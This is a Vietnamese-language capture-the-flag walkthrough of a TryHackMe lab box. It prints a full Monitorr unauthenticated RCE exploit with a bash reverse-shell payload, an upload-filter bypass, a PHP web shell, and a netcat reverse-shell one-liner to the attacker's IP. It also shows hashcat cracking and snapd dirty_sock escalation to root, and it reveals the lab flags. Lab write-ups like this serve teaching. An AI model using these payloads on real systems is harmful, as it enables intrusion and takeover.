Year of the Jellyfish
Some boxes sting...
Initial Reconnaissance
Đầu tiên, chúng ta thêm domain name vào file /etc/hosts:
98.82.117.180 jellyfish.thmService Scanning
┌──(kali㉿kali)-[~]
└─$ ping jellyfish.thm
PING jellyfish.thm (98.82.117.180) 56(84) bytes of data.
^C
--- jellyfish.thm ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2037msTa sẽ chạy Nmap scan với flag -Pn vì không thể ping đến địa chỉ của target.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -sV -sC -v jellyfish.thm
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 2048 46:b2:81:be:e0:bc:a7:86:39:39:82:5b:bf:e5:65:58 (RSA)
80/tcp open http Apache httpd 2.4.29
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://robyns-petshop.thm/
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB
| Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm
| Issuer: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-27T03:10:16
| Not valid after: 2026-08-27T03:10:16
| MD5: b5d9:1732:d6f2:ec14:6159:1afd:3ae3:98f8
|_SHA-1: 76ba:d9a6:c5e2:8c50:e290:b409:e63c:2e59:9c77:4caa
|_http-title: Robyn's Pet Shop
8000/tcp open http-alt
|_http-favicon: Unknown favicon MD5: 539756B8EDCE4252978EC36B574DA99F
|_http-title: Under Development!
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Length: 15
|_ Request
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=8/27%Time=68AE783B%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,3F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x2
SF:015\r\n\r\n400\x20Bad\x20Request");
Service Info: Host: robyns-petshop.thm; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelKết quả cho thấy có các dịch vụ quan trọng: port 21 mở chạy FTP với vsftpd 3.0.3, port 22 mở chạy SSH với OpenSSH 5.9p1 trên Ubuntu, port 80 và 443 đều chạy Apache httpd 2.4.29 trong đó port 443 có SSL certificate chứa nhiều subdomain như robyns-petshop.thm, monitorr.robyns-petshop.thm, beta.robyns-petshop.thm và dev.robyns-petshop.thm. Ngoài ra, còn có port 8000 có title với ý nghĩa là đang trong giai đoạn phát triển.
FTP 21
┌──(kali㉿kali)-[~]
└─$ ftp jellyfish.thm
Connected to jellyfish.thm.
220 (vsFTPd 3.0.3)
Name (jellyfish.thm:kali): ftp
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failedDịch vụ FTP không cho phép chúng ta truy cập anonymous, nên tạm để lại.
HTTPS 443
Vì trong kết quả Nmap có hiển thị thêm một số domain khác, nên ta thêm tất cả chúng vào file /etc/hosts để có thể resolve.
98.82.117.180 jellyfish.thm robyns-petshop.thm monitorr.robyns-petshop.thm beta.robyns-petshop.thm dev.robyns-petshop.thmrobyns-petshop.thm

Ở domain đầu tiên, website này được xây dựng bằng PicoFlat CMS.

Directory Enumeration
Ta tiến hành content scanning bằng ffuf.
┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u https://robyns-petshop.thm/FUZZ -r -e .php,.txt -fc 403 -t 64
/assets

/assets/pets

Trong /assets/pets, ta chỉ thấy các hình ảnh nhưng không có gì hữu ích.
/business

Trong /business, ta thử đăng nhập bằng một số default credentials như admin:admin, admin:password, admin:ADMIN, root:root nhưng tất cả đều thất bại.
/config

Trong /config, có một file config cho Pico CMS nhưng không có gì đáng chú ý.
/content

Trong /content, chỉ chứa các file markdown là source code của website.
Trong /plugins, /themes, và /vendor, cũng không có gì thú vị.
/plugins

/themes

/vendor

monitorr.robyns-petshop.thm

Đây là Monitorr phiên bản 1.7.6m, một ứng dụng web PHP self-hosted dùng để giám sát tình trạng của các dịch vụ mạng, website và ứng dụng cả local lẫn remote.
/settings.php
Trang này hiển thị phần cấu hình của Monitorr, và ta thấy có các đường dẫn liên quan đến dữ liệu của người dùng.

Vulnerabilities Assessment
Khi tra cứu với searchsploit, ta thấy phiên bản 1.7.6m của Monitorr tồn tại hai lỗ hổng: Authorization Bypass và Unauthenticated RCE.

Tuy nhiên, exploit Authorization Bypass không hoạt động do endpoint được đề cập trong source code hoàn toàn không tồn tại trong trường hợp của chúng ta.


Vậy nên ta tiếp tục thử khai thác lỗ hổng Unauthenticated RCE. Đây là phần source code của exploit:
#!/usr/bin/python
## -*- coding: UTF-8 -*-
## Exploit Title: Monitorr 1.7.6m - Remote Code Execution (Unauthenticated)
## Date: September 12, 2020
## Exploit Author: Lyhin's Lab
## Detailed Bug Description: https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
## Software Link: https://github.com/Monitorr/Monitorr
## Version: 1.7.6m
## Tested on: Ubuntu 19
import requests
import os
import sys
if len (sys.argv) != 4:
print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport")
else:
url = sys.argv[1] + "/assets/php/upload.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]}
data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"she_ll.php\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"
requests.post(url, headers=headers, data=data)
print ("A shell script should be uploaded. Now we try to execute it")
url = sys.argv[1] + "/assets/data/usrimg/she_ll.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
requests.get(url, headers=headers)Chúng ta có thể tận dụng exploit này để lấy reverse shell:

Chúng ta không cần xác thực SSL/TLS.
...
requests.post(url, headers=headers, data=data, verify=False)
...
requests.get(url, headers=headers, verify=False)
...
Exploit không thành công. Chúng ta in ra phản hồi để xem có vấn đề gì.
...
r = requests.post(url, headers=headers, data=data, verify=False)
print(r.text)
...
r = requests.get(url, headers=headers, verify=False)
print(r.text)
...
Khi xem kỹ phản hồi từ server, ta thấy nó phát hiện và chặn với thông báo: You are an exploit.. Có lẽ tác giả đã chỉnh sửa upload.php để ngăn chặn exploit. Ta thử gửi một request hợp lệ:
url = sys.argv[1] + "/assets/php/upload.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]}
data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"image.png\"\r\nContent-Type: image/gif\r\n\r\nGIF89a\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"
r = requests.post(url, headers=headers, data=data, verify=False)
print(r.text)
Bypass Filter
Ta đã thử gửi một request hợp lệ, nhưng vẫn bị phát hiện.
Nếu không phải do code PHP độc hại, content type, magic number hay filename, thì có thể vấn đề nằm ở User-Agent. Tuy nhiên, trong source code, User-Agent đã được spoof sẵn. Vậy có khả năng là do cookie, bởi vì ta không thấy header cookie trong request ở trong code của exploit.

Khi mở developer tool trên browser, ta thấy có một item isHuman với giá trị là 1. Ta thêm cookie này vào exploit và chạy lại.
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1], "Cookie": "isHuman=1"}
Lần này, ta thấy filter không chỉ dựa trên cookie mà còn áp dụng nhiều kiểm tra khác lên file upload.
Để bypass, ta thử đổi filename thành she_ll.php5, đồng thời comment phần thực thi trong exploit để dễ quan sát hơn.

Tiếp tục thử với she_ll.phtml:

Hay she_ll.jpg:

Với she_ll.jpg, ta đã upload thành công. Ta uncomment phần thực thi trong exploit cũng như đổi filename trong GET request thành she_ll.jpg để xem có thực thi được không.

Payload không được thực thi. Vậy chắc chắn cần có đuôi .jpg nhưng cũng phải kèm .php, .phtml hoặc .phar thì code mới chạy được. Ta thử she_ll.jpg.php:

Không được. Ta thử she_ll.jpg.phtml:

Kết quả, exploit thực thi thành công, nhưng ta vẫn chưa nhận được kết nối reverse shell nào. Vì thế, ta chuyển sang upload một web shell đơn giản thay vì reverse shell, với tên file khác một chút để xem có vấn đề gì đang ngăn chặn.
data = """-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name="fileToUpload"; filename="she_lll.jpg.phtml"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php if(isset($_REQUEST['cmd'])){echo "<pre>";system($_REQUEST['cmd']);echo "</pre>";die;} ?>\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"""

Lần này, upload web shell thành công. Giờ ta có thể dùng web shell này để thiết lập kết nối reverse shell từ target về máy của mình.
beta.robyns-petshop.thm

Subdomain này đang trong quá trình phát triển nên không có thông tin gì.
dev.robyns-petshop.thm

Subdomain này thì không có gì khác biệt với robyns-petshop.thm.
HTTP 8096
Trang Monitorr cho chúng ta thấy một website khác đang chạy trên một port mà lúc đầu Nmap scan chưa phát hiện.


┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p 8096 -sV -sC -v robyns-petshop.thm
PORT STATE SERVICE VERSION
8096/tcp open http Microsoft Kestrel httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Jellyfin
|_Requested resource was /web/index.html
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: KestrelChúng ta chạy lại Nmap trên port này và thấy rằng server chỉ chạy HTTP chứ không phải HTTPS. Khi truy cập, ta bị redirect sang trang login.

Website này chạy Jellyfin, một hệ thống quản lý media miễn phí.
Directory Enumeration
Tiếp tục, ta dùng ffuf để content scanning.
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://robyns-petshop.thm:8096/FUZZ -r -e .php,.txt -fc 403 -t 64
/Health, /health

Ở endpoint /Health hoặc /health, chỉ có kết quả kiểm tra tình trạng hệ thống.
/robots.txt

Trong /robots.txt, không có gì đặc biệt.
/System/info/public/
Đáng chú ý là endpoint /System/info/public/. Sau khi tìm hiểu trên Google, ta biết endpoint này tiết lộ phiên bản Jellyfin và cả thông tin về hệ điều hành.



Kết quả cho thấy Jellyfin chạy phiên bản 10.7.2. Tuy nhiên, theo tra cứu trên searchsploit, không có lỗ hổng hay exploit công khai nào cho bất kỳ phiên bản Jellyfin nào. Ta tạm gác lại port này.

Shell as www-data
Ta thấy target có thể ping tới IP của mình:

Nhưng nhiều khả năng có firewall chặn outbound kết nối đến listener. Vì vậy, ta thử lắng nghe trên port thấp hơn như 53 rồi chạy lại payload, nhưng vẫn không có kết nối.
https://monitorr.robyns-petshop.thm/assets/data/usrimg/she_lll.jpg.phtml?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.17.21.52 53 >/tmp/f
Chúng ta thử setup một Python HTTP server đơn giản để host PHP reverse shell, sau đó dùng wget tải nó về target.

Ta mở reverse shell:
https://monitorr.robyns-petshop.thm/assets/data/usrimg/shell.php
Ta đã thành công có reverse shell với quyền user www-data.
Sudo Permissions
www-data@petshop:/$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.Tuy nhiên, chúng ta không thể xem sudo permission vì không có password.
admin’s Password Discovery
Nhớ lại trên trang settings.php ở domain monitorr, có hiển thị file datausers.db trong /var/www/monitorr, trong đó chứa password hash của user admin.
www-data@petshop:/var/www/monitorr$ pwd
/var/www/monitorr
pwd
www-data@petshop:/var/www/monitorr$ ls -la
ls -la
total 184
drwxr-xr-x 4 www-data www-data 4096 Apr 11 2021 .
drwxr-xr-x 5 root root 4096 Apr 30 2021 ..
-rw-r--r-- 1 www-data www-data 355 Apr 11 2021 ISSUE_TEMPLATE.md
-rw-r--r-- 1 www-data www-data 1086 Apr 11 2021 LICENSE.txt
-rw-r--r-- 1 www-data www-data 5086 Apr 11 2021 README.md
-rw-r--r-- 1 www-data www-data 25 Apr 11 2021 _config.yml
drwxr-xr-x 11 www-data www-data 4096 Apr 11 2021 assets
-rw-r--r-- 1 www-data www-data 4655 Apr 11 2021 changelog.html
drwxr-xr-x 2 www-data www-data 4096 Apr 11 2021 data
-rw-r--r-- 1 www-data www-data 915 Apr 11 2021 datamonitorr_data_directory.txt
-rw-r--r-- 1 www-data www-data 52 Apr 11 2021 datamonitorr_install_path.txt
-rw-r--r-- 1 www-data www-data 577 Apr 11 2021 dataservices_settings-data.json
-rw-r--r-- 1 www-data www-data 356 Apr 11 2021 datasite_settings-data.json
-rw-r--r-- 1 www-data www-data 217 Apr 11 2021 datauser_preferences-data.json
-rw-r--r-- 1 www-data www-data 8192 Apr 11 2021 datausers.db
-rw-r--r-- 1 www-data www-data 41160 Apr 11 2021 favicon.ico
-rw-r--r-- 1 www-data www-data 16862 Apr 11 2021 index.min.php
-rw-r--r-- 1 www-data www-data 17732 Apr 11 2021 index.php
-rw-r--r-- 1 www-data www-data 87 Apr 11 2021 robots.txt
-rw-r--r-- 1 www-data www-data 19318 Apr 11 2021 settings.php
-rw-r--r-- 1 www-data www-data 352 Apr 11 2021 webmanifest.json
www-data@petshop:/var/www/monitorr$ cat datausers.db
cat datausers.db
����ktableusersusersCREATE TABLE `users` (
`user_id` INTEGER PRIMARY KEY,
`user_name` varchar(64),
`user_password_hash` varchar(255),
admin$2y$10$q1BI3CSqToALH2Q1r2weLeRpyU7QbonizeVxJnPIieo/drbRSzVTa
Hash này thuộc dạng bcrypt. Ta thử crack bằng hashcat với wordlist rockyou.txt. Nhưng quá trình này chạy rất lâu, ngay cả khi dùng GPU, nên có lẽ đây không phải hướng đúng.
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '$2y$10$q1BI3CSqToALH2Q1r2weLeRpyU7QbonizeVxJnPIieo/drbRSzVTa' > hash.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat -m 3200 -a 0 -w 3 hash.txt /usr/share/wordlists/rockyou.txt --force/etc/passwd
Kiểm tra /etc/passwd, ta thấy không có user admin, chỉ có root và một user tên robyn.
www-data@petshop:/var/www/monitorr$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
robyn:x:1000:1000:Robyn Mackenzie,,,:/home/robyn:/bin/bashflag1.txt
www-data@petshop:/var/www/monitorr$ cd ..
cd ..
www-data@petshop:/var/www$ ls -la
ls -la
total 24
drwxr-xr-x 5 root root 4096 Apr 30 2021 .
drwxr-xr-x 14 root root 4096 Apr 9 2021 ..
drwxr-xr-x 9 root root 4096 Apr 11 2021 dev
-r-------- 1 www-data www-data 38 Apr 30 2021 flag1.txt
drwxr-xr-x 9 root root 4096 Apr 11 2021 html
drwxr-xr-x 4 www-data www-data 4096 Apr 11 2021 monitorr
www-data@petshop:/var/www$ cat flag1.txt
cat flag1.txt
THM{MjBkOTMyZDgzNGZmOGI0Y2I5NTljNGNl}LinPEAS
Để tìm vector leo quyền, ta chạy LinPEAS.

Thông tin hệ thống:

Các dịch vụ local:

Chúng ta thấy có hai khả năng khai thác, bao gồm lỗ hổng snapd dirty_sock.

Chúng ta sẽ thử lỗ hổng snapd dirty_sock.

Khi thử exploit đầu tiên, nó yêu cầu kết nối outbound.

Do đó, ta chọn exploit thứ hai.

Ta tiến hành chuyển exploit thứ hai này về target để thực thi.
www-data@petshop:/tmp$ wget http://10.17.21.52/46362.py -O 46362.py
wget http://10.17.21.52/46362.py -O 46362.py
--2025-08-27 10:20:32-- http://10.17.21.52/46362.py
Connecting to 10.17.21.52:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13496 (13K) [text/x-python]
Saving to: '46362.py'
46362.py 100%[===================>] 13.18K 9.37KB/s in 1.4s
2025-08-27 10:20:34 (9.37 KB/s) - '46362.py' saved [13496/13496]
www-data@petshop:/tmp$ chmod +x 46362.py
chmod +x 46362.pyShell as root
www-data@petshop:/tmp$ python3 46362.py
python3 46362.py
___ _ ____ ___ _ _ ____ ____ ____ _ _
| \ | |__/ | \_/ [__ | | | |_/
|__/ | | \ | | ___ ___] |__| |___ | \_
(version 2)
//=========[]==========================================\\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\\=========[]==========================================//
[+] Slipped dirty sock on random socket file: /tmp/fuenwvnzri;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...
********************
Success! You can now `su` to the following account and use sudo:
username: dirty_sock
password: dirty_sock
********************
www-data@petshop:/tmp$ su dirty_sock
su dirty_sock
Password: dirty_sock
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
dirty_sock@petshop:/tmp$ id
id
uid=1001(dirty_sock) gid=1001(dirty_sock) groups=1001(dirty_sock),27(sudo)dirty_sock@petshop:/tmp$ sudo su
sudo su
[sudo] password for dirty_sock: dirty_sock
root@petshop:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)Chúng ta đã thành công chiếm được quyền root trên máy target.
root.txt
root@petshop:/tmp# cd /root
cd /root
root@petshop:~# ls -la
ls -la
total 24
drwx------ 3 root root 4096 Aug 27 10:23 .
drwxr-xr-x 23 root root 4096 Apr 9 2021 ..
lrwxrwxrwx 1 root root 9 Apr 10 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 38 Apr 30 2021 root.txt
drwx------ 3 root root 4096 Aug 27 10:23 snap
root@petshop:~# cat root.txt
cat root.txt
THM{YjMyZTkwYzZhM2U5MGEzZDU2MDc1NTMx}